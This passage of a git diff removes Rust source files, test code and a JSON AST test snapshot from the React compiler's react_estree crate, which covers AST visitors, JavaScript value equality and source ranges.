-    fn visit_jsxchild_item(&mut self, ast: &JSXChildItem) {
-        match ast {
-            JSXChildItem::JSXText(ast) => {
-                self.visit_jsxtext(ast);
-            }
-            JSXChildItem::JSXStringLiteral(ast) => {
-                self.visit_jsxstring_literal(ast);
-            }
-            JSXChildItem::JSXExpressionContainer(ast) => {
-                self.visit_jsxexpression_container(ast);
-            }
-            JSXChildItem::JSXSpreadChild(ast) => {
-                self.visit_jsxspread_child(ast);
-            }
-            JSXChildItem::JSXElement(ast) => {
-                self.visit_jsxelement(ast);
-            }
-            JSXChildItem::JSXFragment(ast) => {
-                self.visit_jsxfragment(ast);
-            }
-        }
-    }
-    fn visit_declaration_or_expression(&mut self, ast: &DeclarationOrExpression) {
-        match ast {
-            DeclarationOrExpression::Declaration(ast) => {
-                self.visit_declaration(ast);
-            }
-            DeclarationOrExpression::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-        }
-    }
-    fn visit_class_item(&mut self, ast: &ClassItem) {
-        match ast {
-            ClassItem::MethodDefinition(ast) => {
-                self.visit_method_definition(ast);
-            }
-            ClassItem::ClassProperty(ast) => {
-                self.visit_class_property(ast);
-            }
-            ClassItem::ClassPrivateProperty(ast) => {
-                self.visit_class_private_property(ast);
-            }
-            ClassItem::StaticBlock(ast) => {
-                self.visit_static_block(ast);
-            }
-        }
-    }
-    fn visit_expression_or_private_identifier(
-        &mut self,
-        ast: &ExpressionOrPrivateIdentifier,
-    ) {
-        match ast {
-            ExpressionOrPrivateIdentifier::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-            ExpressionOrPrivateIdentifier::PrivateIdentifier(ast) => {
-                self.visit_private_identifier(ast);
-            }
-            ExpressionOrPrivateIdentifier::PrivateName(ast) => {
-                self.visit_private_name(ast);
-            }
-        }
-    }
-    fn visit_type_annotation(&mut self, ast: &TypeAnnotation) {
-        match ast {
-            TypeAnnotation::TSTypeAnnotation(ast) => {
-                self.visit_tstype_annotation(ast);
-            }
-        }
-    }
-}
diff --git a/compiler/crates/react_estree/src/generated_extensions.rs b/compiler/crates/react_estree/src/generated_extensions.rs
deleted file mode 100644
index 8bb944cfe542..000000000000
--- a/compiler/crates/react_estree/src/generated_extensions.rs
+++ /dev/null
@@ -1,149 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-// Manual extensions to generated types
-use crate::{
-    ArrowFunctionExpression, Class, ClassDeclaration, ClassExpression, Function,
-    FunctionDeclaration, FunctionExpression, ImportDeclarationSpecifier, JSXElementName,
-    JSXMemberExpression, JSXMemberExpressionOrIdentifier, Pattern, SourceRange, SourceType,
-};
-
-/// Sentinel trait to distinguish AST *node* types
-pub trait ESTreeNode {}
-
-impl Default for SourceType {
-    fn default() -> Self {
-        Self::Module
-    }
-}
-
-impl Pattern {
-    pub fn range(&self) -> Option<SourceRange> {
-        match self {
-            Self::ArrayPattern(pattern) => pattern.range,
-            Self::AssignmentPattern(pattern) => pattern.range,
-            Self::Identifier(pattern) => pattern.range,
-            Self::ObjectPattern(pattern) => pattern.range,
-            Self::RestElement(pattern) => pattern.range,
-        }
-    }
-}
-
-impl ImportDeclarationSpecifier {
-    pub fn range(&self) -> Option<SourceRange> {
-        match self {
-            Self::ImportDefaultSpecifier(specifier) => specifier.range,
-            Self::ImportNamespaceSpecifier(specifier) => specifier.range,
-            Self::ImportSpecifier(specifier) => specifier.range,
-        }
-    }
-}
-
-impl JSXElementName {
-    pub fn root_name(&self) -> &str {
-        match self {
-            Self::JSXIdentifier(name) => &name.name,
-            Self::JSXMemberExpression(name) => name.root_name(),
-            Self::JSXNamespacedName(name) => &name.namespace.name,
-        }
-    }
-}
-
-impl JSXMemberExpression {
-    pub fn root_name(&self) -> &str {
-        match &self.object {
-            JSXMemberExpressionOrIdentifier::JSXMemberExpression(object) => object.root_name(),
-            JSXMemberExpressionOrIdentifier::JSXIdentifier(object) => &object.name,
-        }
-    }
-}
-
-pub trait IntoFunction: ESTreeNode {
-    fn function(&self) -> &Function;
-
-    fn into_function(self) -> Function;
-}
-
-impl IntoFunction for FunctionDeclaration {
-    fn function(&self) -> &Function {
-        &self.function
-    }
-
-    fn into_function(self) -> Function {
-        self.function
-    }
-}
-
-impl IntoFunction for FunctionExpression {
-    fn function(&self) -> &Function {
-        &self.function
-    }
-
-    fn into_function(self) -> Function {
-        self.function
-    }
-}
-
-impl IntoFunction for ArrowFunctionExpression {
-    fn function(&self) -> &Function {
-        &self.function
-    }
-
-    fn into_function(self) -> Function {
-        self.function
-    }
-}
-
-impl ESTreeNode for Function {}
-
-impl IntoFunction for Function {
-    fn function(&self) -> &Function {
-        self
-    }
-
-    fn into_function(self) -> Function {
-        self
-    }
-}
-
-pub trait IntoClass: ESTreeNode {
-    fn class(&self) -> &Class;
-
-    fn into_class(self) -> Class;
-}
-
-impl IntoClass for ClassDeclaration {
-    fn class(&self) -> &Class {
-        &self.class
-    }
-
-    fn into_class(self) -> Class {
-        self.class
-    }
-}
-
-impl IntoClass for ClassExpression {
-    fn class(&self) -> &Class {
-        &self.class
-    }
-
-    fn into_class(self) -> Class {
-        self.class
-    }
-}
-
-impl ESTreeNode for Class {}
-
-impl IntoClass for Class {
-    fn class(&self) -> &Class {
-        self
-    }
-
-    fn into_class(self) -> Class {
-        self
-    }
-}
diff --git a/compiler/crates/react_estree/src/js_value.rs b/compiler/crates/react_estree/src/js_value.rs
deleted file mode 100644
index 5b642da93905..000000000000
--- a/compiler/crates/react_estree/src/js_value.rs
+++ /dev/null
@@ -1,295 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use serde::de::Visitor;
-use serde::{Deserialize, Serialize};
-
-#[derive(Debug, Clone, PartialEq, Eq)]
-pub enum JsValue {
-    Boolean(bool),
-    Null,
-    Number(Number),
-    String(String),
-    Undefined,
-}
-
-impl JsValue {
-    pub fn is_truthy(&self) -> bool {
-        match &self {
-            JsValue::Boolean(value) => *value,
-            JsValue::Number(value) => value.is_truthy(),
-            JsValue::String(value) => !value.is_empty(),
-            JsValue::Null => false,
-            JsValue::Undefined => false,
-        }
-    }
-
-    // Partial implementation of loose equality for javascript, returns Some for supported
-    // cases w the equality result, and None for unsupported cases
-    pub fn loosely_equals(&self, other: &Self) -> Option<bool> {
-        // https://tc39.es/ecma262/multipage/abstract-operations.html#sec-islooselyequal
-        match (&self, &other) {
-            // 1. If Type(x) is Type(y), then
-            //    a. Return IsStrictlyEqual(x, y).
-            (JsValue::Number(left), JsValue::Number(right)) => Some(left.equals(*right)),
-            (JsValue::Null, JsValue::Null) => Some(true),
-            (JsValue::Undefined, JsValue::Undefined) => Some(true),
-            (JsValue::Boolean(left), JsValue::Boolean(right)) => Some(left == right),
-            (JsValue::String(left), JsValue::String(right)) => Some(left == right),
-
-            // 2. If x is null and y is undefined, return true.
-            (JsValue::Null, JsValue::Undefined) => Some(true),
-
-            // 3. If x is undefined and y is null, return true.
-            (JsValue::Undefined, JsValue::Null) => Some(true),
-            _ => None,
-        }
-    }
-
-    pub fn not_loosely_equals(&self, other: &Self) -> Option<bool> {
-        self.loosely_equals(other).map(|value| !value)
-    }
-
-    // Complete implementation of strict equality for javascript
-    pub fn strictly_equals(&self, other: &Self) -> bool {
-        // https://tc39.es/ecma262/multipage/abstract-operations.html#sec-isstrictlyequal
-        match (&self, &other) {
-            (JsValue::Number(left), JsValue::Number(right)) => left.equals(*right),
-            (JsValue::Null, JsValue::Null) => true,
-            (JsValue::Undefined, JsValue::Undefined) => true,
-            (JsValue::Boolean(left), JsValue::Boolean(right)) => left == right,
-            (JsValue::String(left), JsValue::String(right)) => left == right,
-            _ => false,
-        }
-    }
-
-    pub fn not_strictly_equals(&self, other: &Self) -> bool {
-        !self.strictly_equals(other)
-    }
-}
-
-impl Serialize for JsValue {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: serde::Serializer,
-    {
-        match self {
-            Self::Boolean(b) => serializer.serialize_bool(*b),
-            Self::Null => serializer.serialize_none(),
-            Self::Number(n) => serializer.serialize_f64(n.into()),
-            Self::String(s) => serializer.serialize_str(s),
-            Self::Undefined => serializer.serialize_unit(),
-        }
-    }
-}
-
-impl<'de> Deserialize<'de> for JsValue {
-    #[inline]
-    fn deserialize<D>(deserializer: D) -> Result<JsValue, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        struct ValueVisitor;
-
-        impl<'de> Visitor<'de> for ValueVisitor {
-            type Value = JsValue;
-
-            fn expecting(&self, formatter: &mut std::fmt::Formatter) -> std::fmt::Result {
-                formatter.write_str("valid primitive JSON value (null, boolean, number, or string")
-            }
-
-            #[inline]
-            fn visit_bool<E>(self, value: bool) -> Result<JsValue, E> {
-                Ok(JsValue::Boolean(value))
-            }
-
-            #[inline]
-            fn visit_i64<E>(self, value: i64) -> Result<JsValue, E> {
-                if (MIN_SAFE_INT..=MAX_SAFE_INT).contains(&value) {
-                    Ok(JsValue::Number((value as f64).into()))
-                } else {
-                    panic!("Invalid number")
-                }
-            }
-
-            #[inline]
-            fn visit_u64<E>(self, value: u64) -> Result<JsValue, E> {
-                if value as i64 <= MAX_SAFE_INT {
-                    Ok(JsValue::Number((value as f64).into()))
-                } else {
-                    panic!("Invalid number")
-                }
-            }
-
-            #[inline]
-            fn visit_f64<E>(self, value: f64) -> Result<JsValue, E> {
-                Ok(JsValue::Number(value.into()))
-            }
-
-            #[inline]
-            fn visit_str<E>(self, value: &str) -> Result<JsValue, E>
-            where
-                E: serde::de::Error,
-            {
-                self.visit_string(String::from(value))
-            }
-
-            #[inline]
-            fn visit_string<E>(self, value: String) -> Result<JsValue, E> {
-                Ok(JsValue::String(value))
-            }
-
-            #[inline]
-            fn visit_none<E>(self) -> Result<JsValue, E> {
-                Ok(JsValue::Null)
-            }
-
-            #[inline]
-            fn visit_some<D>(self, deserializer: D) -> Result<JsValue, D::Error>
-            where
-                D: serde::Deserializer<'de>,
-            {
-                Deserialize::deserialize(deserializer)
-            }
-
-            #[inline]
-            fn visit_unit<E>(self) -> Result<JsValue, E> {
-                Ok(JsValue::Undefined)
-            }
-        }
-
-        deserializer.deserialize_any(ValueVisitor)
-    }
-}
-
-/// Represents a JavaScript Number as its binary representation so that
-/// -1 == -1, NaN == Nan etc.
-/// Note: NaN is *always* represented as the f64::NAN constant to allow
-/// comparison of NaNs.
-#[derive(Clone, Copy, Eq, PartialEq, PartialOrd, Ord, Debug, Hash)]
-pub struct Number(u64);
-
-pub const MAX_SAFE_INT: i64 = 9007199254740991;
-pub const MIN_SAFE_INT: i64 = -9007199254740991;
-
-impl From<f64> for Number {
-    fn from(value: f64) -> Self {
-        if value.is_nan() {
-            Self(f64::NAN.to_bits())
-        } else {
-            Self(value.to_bits())
-        }
-    }
-}
-
-impl From<u32> for Number {
-    fn from(value: u32) -> Self {
-        f64::from(value).into()
-    }
-}
-
-impl From<Number> for f64 {
-    fn from(number: Number) -> Self {
-        let value = f64::from_bits(number.0);
-        assert!(!f64::is_nan(value) || number.0 == f64::NAN.to_bits());
-        value
-    }
-}
-
-impl From<&Number> for f64 {
-    fn from(number: &Number) -> Self {
-        let value = f64::from_bits(number.0);
-        assert!(!f64::is_nan(value) || number.0 == f64::NAN.to_bits());
-        value
-    }
-}
-
-impl Number {
-    pub fn equals(self, other: Self) -> bool {
-        f64::from(self) == f64::from(other)
-    }
-
-    pub fn not_equals(self, other: Self) -> bool {
-        !self.equals(other)
-    }
-
-    pub fn is_truthy(self) -> bool {
-        let value = f64::from(self);
-        !(self.0 == f64::NAN.to_bits() || value == 0.0 || value == -0.0)
-    }
-}
-
-impl std::ops::Add for Number {
-    type Output = Number;
-
-    fn add(self, rhs: Self) -> Self::Output {
-        let result = f64::from(self) + f64::from(rhs);
-        Self::from(result)
-    }
-}
-
-impl std::ops::Sub for Number {
-    type Output = Number;
-
-    fn sub(self, rhs: Self) -> Self::Output {
-        let result = f64::from(self) - f64::from(rhs);
-        Self::from(result)
-    }
-}
-
-impl std::ops::Mul for Number {
-    type Output = Number;
-
-    fn mul(self, rhs: Self) -> Self::Output {
-        let result = f64::from(self) * f64::from(rhs);
-        Self::from(result)
-    }
-}
-
-impl std::ops::Div for Number {
-    type Output = Number;
-
-    fn div(self, rhs: Self) -> Self::Output {
-        let result = f64::from(self) / f64::from(rhs);
-        Self::from(result)
-    }
-}
-
-impl Serialize for Number {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: serde::Serializer,
-    {
-        serializer.serialize_f64(self.into())
-    }
-}
-
-impl<'de> Deserialize<'de> for Number {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        struct ValueVisitor;
-
-        impl<'de> Visitor<'de> for ValueVisitor {
-            type Value = Number;
-
-            fn expecting(&self, formatter: &mut std::fmt::Formatter) -> std::fmt::Result {
-                formatter.write_str("value JavaScript number value")
-            }
-
-            fn visit_f64<E>(self, v: f64) -> Result<Self::Value, E>
-            where
-                E: serde::de::Error,
-            {
-                Ok(v.into())
-            }
-        }
-
-        deserializer.deserialize_any(ValueVisitor)
-    }
-}
diff --git a/compiler/crates/react_estree/src/lib.rs b/compiler/crates/react_estree/src/lib.rs
deleted file mode 100644
index 9cc1c3d9c3b3..000000000000
--- a/compiler/crates/react_estree/src/lib.rs
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod binding;
-mod generated;
-mod generated_extensions;
-mod js_value;
-mod range;
-mod visit;
-
-pub use binding::{Binding, BindingId};
-pub use generated::*;
-pub use generated_extensions::*;
-pub use js_value::{JsValue, Number};
-pub use range::SourceRange;
-pub use visit::*;
-
-#[cfg(test)]
-mod tests {
-    use insta::{assert_snapshot, glob};
-
-    use super::*;
-
-    #[test]
-    fn fixtures() {
-        glob!("fixtures/**.json", |path| {
-            println!("{:?}", path);
-            let input = std::fs::read_to_string(path).unwrap();
-            let ast: Program = serde_json::from_str(&input).unwrap();
-            let serialized = serde_json::to_string_pretty(&ast).unwrap();
-            assert_snapshot!(format!("Input:\n{input}\n\nOutput:\n{serialized}"));
-        });
-    }
-}
diff --git a/compiler/crates/react_estree/src/range.rs b/compiler/crates/react_estree/src/range.rs
deleted file mode 100644
index 02887b70f389..000000000000
--- a/compiler/crates/react_estree/src/range.rs
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::num::NonZeroU32;
-
-use serde::ser::SerializeTuple;
-use serde::{Deserialize, Serialize};
-
-#[derive(Deserialize, Copy, Clone, Debug, PartialEq, PartialOrd, Hash)]
-pub struct SourceRange {
-    pub start: u32,
-    pub end: NonZeroU32,
-}
-
-// ESTree and Babel store the `range` as `[start, end]`, so we customize
-// the serialization to use a tuple representation.
-impl Serialize for SourceRange {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: serde::Serializer,
-    {
-        let mut tuple = serializer.serialize_tuple(2)?;
-        tuple.serialize_element(&self.start)?;
-        tuple.serialize_element(&self.end)?;
-        tuple.end()
-    }
-}
diff --git a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@for-statement.json.snap b/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@for-statement.json.snap
deleted file mode 100644
index 862492034eb6..000000000000
--- a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@for-statement.json.snap
+++ /dev/null
@@ -1,1058 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/for-statement.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 7,
-        "column": 1
-      }
-    },
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 7,
-            "column": 1
-          }
-        },
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 9
-            },
-            "end": {
-              "line": 1,
-              "column": 18
-            }
-          },
-          "name": "Component",
-          "typeAnnotation": null,
-          "optional": false,
-          "range": [
-            9,
-            18
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 19
-              },
-              "end": {
-                "line": 1,
-                "column": 24
-              }
-            },
-            "name": "props",
-            "typeAnnotation": null,
-            "optional": false,
-            "range": [
-              19,
-              24
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 26
-            },
-            "end": {
-              "line": 7,
-              "column": 1
-            }
-          },
-          "body": [
-            {
-              "type": "VariableDeclaration",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 2
-                },
-                "end": {
-                  "line": 2,
-                  "column": 12
-                }
-              },
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 6
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 11
-                    }
-                  },
-                  "init": {
-                    "type": "Literal",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 2,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 2,
-                        "column": 11
-                      }
-                    },
-                    "value": 0,
-                    "range": [
-                      38,
-                      39
-                    ],
-                    "raw": "0"
-                  },
-                  "id": {
-                    "type": "Identifier",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 2,
-                        "column": 6
-                      },
-                      "end": {
-                        "line": 2,
-                        "column": 7
-                      }
-                    },
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "optional": false,
-                    "range": [
-                      34,
-                      35
-                    ]
-                  },
-                  "range": [
-                    34,
-                    39
-                  ]
-                }
-              ],
-              "range": [
-                30,
-                40
-              ]
-            },
-            {
-              "type": "ForStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 2
-                },
-                "end": {
-                  "line": 5,
-                  "column": 3
-                }
-              },
-              "init": {
-                "type": "VariableDeclaration",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 7
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 16
-                  }
-                },
-                "kind": "let",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 11
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 16
-                      }
-                    },
-                    "init": {
-                      "type": "Literal",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 15
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 16
-                        }
-                      },
-                      "value": 0,
-                      "range": [
-                        56,
-                        57
-                      ],
-                      "raw": "0"
-                    },
-                    "id": {
-                      "type": "Identifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 11
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 12
-                        }
-                      },
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "optional": false,
-                      "range": [
-                        52,
-                        53
-                      ]
-                    },
-                    "range": [
-                      52,
-                      57
-                    ]
-                  }
-                ],
-                "range": [
-                  48,
-                  57
-                ]
-              },
-              "test": {
-                "type": "BinaryExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 18
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 24
-                  }
-                },
-                "left": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 18
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 19
-                    }
-                  },
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "optional": false,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "right": {
-                  "type": "Literal",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 22
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 24
-                    }
-                  },
-                  "value": 10,
-                  "range": [
-                    63,
-                    65
-                  ],
-                  "raw": "10"
-                },
-                "operator": "<",
-                "range": [
-                  59,
-                  65
-                ]
-              },
-              "update": {
-                "type": "UpdateExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 26
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 29
-                  }
-                },
-                "operator": "++",
-                "argument": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 26
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 27
-                    }
-                  },
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "optional": false,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "prefix": false,
-                "range": [
-                  67,
-                  70
-                ]
-              },
-              "body": {
-                "type": "BlockStatement",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 31
-                  },
-                  "end": {
-                    "line": 5,
-                    "column": 3
-                  }
-                },
-                "body": [
-                  {
-                    "type": "ExpressionStatement",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 4,
-                        "column": 4
-                      },
-                      "end": {
-                        "line": 4,
-                        "column": 11
-                      }
-                    },
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 4,
-                          "column": 4
-                        },
-                        "end": {
-                          "line": 4,
-                          "column": 10
-                        }
-                      },
-                      "operator": "+=",
-                      "left": {
-                        "type": "Identifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 4,
-                            "column": 4
-                          },
-                          "end": {
-                            "line": 4,
-                            "column": 5
-                          }
-                        },
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "optional": false,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "right": {
-                        "type": "Identifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 4,
-                            "column": 9
-                          },
-                          "end": {
-                            "line": 4,
-                            "column": 10
-                          }
-                        },
-                        "name": "i",
-                        "typeAnnotation": null,
-                        "optional": false,
-                        "range": [
-                          83,
-                          84
-                        ]
-                      },
-                      "range": [
-                        78,
-                        84
-                      ]
-                    },
-                    "directive": null,
-                    "range": [
-                      78,
-                      85
-                    ]
-                  }
-                ],
-                "range": [
-                  72,
-                  89
-                ]
-              },
-              "range": [
-                43,
-                89
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 6,
-                  "column": 2
-                },
-                "end": {
-                  "line": 6,
-                  "column": 11
-                }
-              },
-              "argument": {
-                "type": "Identifier",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 6,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 6,
-                    "column": 10
-                  }
-                },
-                "name": "x",
-                "typeAnnotation": null,
-                "optional": false,
-                "range": [
-                  99,
-                  100
-                ]
-              },
-              "range": [
-                92,
-                101
-              ]
-            }
-          ],
-          "range": [
-            26,
-            103
-          ]
-        },
-        "typeParameters": null,
-        "returnType": null,
-        "predicate": null,
-        "generator": false,
-        "async": false,
-        "range": [
-          0,
-          103
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      0,
-      103
-    ],
-    "sourceType": "script"
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 9
-          },
-          "end": {
-            "line": 1,
-            "column": 18
-          }
-        },
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 19
-            },
-            "end": {
-              "line": 1,
-              "column": 24
-            }
-          },
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 6
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 7
-                    }
-                  },
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "Literal",
-                  "value": 0.0,
-                  "raw": "0",
-                  "regex": null,
-                  "bigint": null,
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 10
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 11
-                    }
-                  },
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 6
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 11
-                  }
-                },
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 2,
-                "column": 2
-              },
-              "end": {
-                "line": 2,
-                "column": 12
-              }
-            },
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 11
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 12
-                      }
-                    },
-                    "range": [
-                      52,
-                      53
-                    ]
-                  },
-                  "init": {
-                    "type": "Literal",
-                    "value": 0.0,
-                    "raw": "0",
-                    "regex": null,
-                    "bigint": null,
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 15
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 16
-                      }
-                    },
-                    "range": [
-                      56,
-                      57
-                    ]
-                  },
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 11
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 16
-                    }
-                  },
-                  "range": [
-                    52,
-                    57
-                  ]
-                }
-              ],
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 7
-                },
-                "end": {
-                  "line": 3,
-                  "column": 16
-                }
-              },
-              "range": [
-                48,
-                57
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 18
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 19
-                  }
-                },
-                "range": [
-                  59,
-                  60
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "Literal",
-                "value": 10.0,
-                "raw": "10",
-                "regex": null,
-                "bigint": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 22
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 24
-                  }
-                },
-                "range": [
-                  63,
-                  65
-                ]
-              },
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 18
-                },
-                "end": {
-                  "line": 3,
-                  "column": 24
-                }
-              },
-              "range": [
-                59,
-                65
-              ]
-            },
-            "update": {
-              "type": "UpdateExpression",
-              "operator": "++",
-              "argument": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 26
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 27
-                  }
-                },
-                "range": [
-                  67,
-                  68
-                ]
-              },
-              "prefix": false,
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 26
-                },
-                "end": {
-                  "line": 3,
-                  "column": 29
-                }
-              },
-              "range": [
-                67,
-                70
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 4,
-                          "column": 4
-                        },
-                        "end": {
-                          "line": 4,
-                          "column": 5
-                        }
-                      },
-                      "range": [
-                        78,
-                        79
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 4,
-                          "column": 9
-                        },
-                        "end": {
-                          "line": 4,
-                          "column": 10
-                        }
-                      },
-                      "range": [
-                        83,
-                        84
-                      ]
-                    },
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 4,
